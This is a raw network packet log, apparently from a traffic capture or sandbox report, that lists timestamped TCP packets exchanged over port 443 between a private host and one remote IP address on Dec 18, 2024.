Dec 18, 2024 13:35:41.880229950 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.880256891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.880275011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.885044098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.885066032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.885103941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.885129929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.885143042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.885158062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.890995979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.891024113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.891052961 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.891072989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.891102076 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.891122103 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.896823883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.896852016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.896881104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.896898985 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.896922112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.896939039 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.905299902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.905319929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.905356884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.905384064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.905404091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.905425072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.910878897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.910940886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:41.910972118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:41.911011934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.038589954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.038615942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.038702011 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.038726091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.038777113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.043484926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.043508053 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.043590069 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.043606997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.043658972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.072027922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.072052002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.072110891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.072129965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.072161913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.072179079 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.077754021 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.077774048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.077836037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.077847958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.077883959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.082891941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.082909107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.082973957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.082989931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.083033085 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.088912010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.088928938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.088980913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.088996887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.089024067 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.089044094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.097820997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.097855091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.097896099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.097928047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.097943068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.097970009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.103077888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.103104115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.103164911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.103189945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.103204012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.103233099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.230814934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.230839014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.230884075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.230902910 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.230925083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.230940104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.236474991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.236498117 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.236531973 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.236550093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.236572027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.236593008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.264600992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.264625072 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.264689922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.264709949 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.264764071 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.269673109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.269701004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.269737959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.269756079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.269783020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.269808054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.275500059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.275527954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.275561094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.275571108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.275604010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.275619030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.281265974 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.281287909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.281320095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.281328917 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.281363964 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.289602041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.289630890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.289676905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.289704084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.289720058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.289747000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.295062065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.295090914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.295130014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.295156002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.295171976 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.295196056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.423178911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.423204899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.423257113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.423297882 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.423317909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.423342943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.428545952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.428567886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.428637028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.428653002 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.428714037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.470192909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.470221043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.470273018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.470312119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.470326900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.470352888 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.470947027 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.470966101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.471007109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.471014977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.471033096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.471043110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.471767902 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.471784115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.471817017 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.471823931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.471860886 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.471873999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.475419998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.475436926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.475476027 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.475485086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.475511074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.475553036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.482203007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.482228041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.482280970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.482299089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.482331038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.482347012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.487708092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.487725973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.487766981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.487797976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.487816095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.487828970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.616125107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.616159916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.616250038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.616285086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.616322994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.622214079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.622235060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.622277021 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.622306108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.622324944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.622345924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.649019957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.649040937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.649135113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.649164915 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.650654078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.654995918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.655020952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.655122995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.655122995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.655139923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.655682087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.660679102 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.660722971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.660804987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.660804987 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.660819054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.661147118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.665801048 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.665810108 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.665874004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.665898085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.666021109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.674451113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.674473047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.674735069 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.674757957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.674904108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.679961920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.679985046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.681931019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.681952000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.682090998 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.807900906 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.807930946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.808033943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.808034897 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.808057070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.808398962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.813577890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.813608885 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.813693047 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.813718081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.813730955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.814810038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.843305111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.843343973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.843686104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.843714952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.844353914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.848294020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.848320961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.848402977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.848402977 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.848427057 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.848483086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.854393005 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.854413033 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.854500055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.854500055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.854511976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.854995966 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.860368013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.860389948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.860497952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.860497952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.860527992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.860642910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.868297100 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.868346930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.868439913 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.868463993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.868489981 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.868591070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.873694897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.873722076 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.873800993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.873823881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:42.873851061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:42.873867035 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.000989914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.001018047 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.001172066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.001172066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.001245022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.001987934 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.005347013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.005376101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.005453110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.005470991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.005517006 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.034432888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.034456968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.034646988 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.034672022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.034806967 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.040088892 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.040107965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.040235043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.040256023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.040442944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.045125008 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.045141935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.045341015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.045355082 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.045655012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.051095009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.051110029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.051285028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.051301956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.051398993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.059119940 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.059145927 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.059241056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.059241056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.059251070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.059367895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.064462900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.064477921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.064543009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.064543009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.064552069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.064606905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.192399025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.192420006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.192588091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.192614079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.192935944 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.197561026 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.197580099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.197674990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.197674990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.197690010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.197714090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.197849989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.226416111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.226437092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.226536989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.226536989 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.226562023 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.226912022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.233092070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.233109951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.233205080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.233205080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.233218908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.233928919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.239001989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.239020109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.239093065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.239093065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.239115953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.239146948 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.242966890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.242981911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.243058920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.243058920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.243081093 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.243124008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:43.251041889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.251060963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:43.251218081 CET	49728	443	192.168.2.6	118.107.29.172
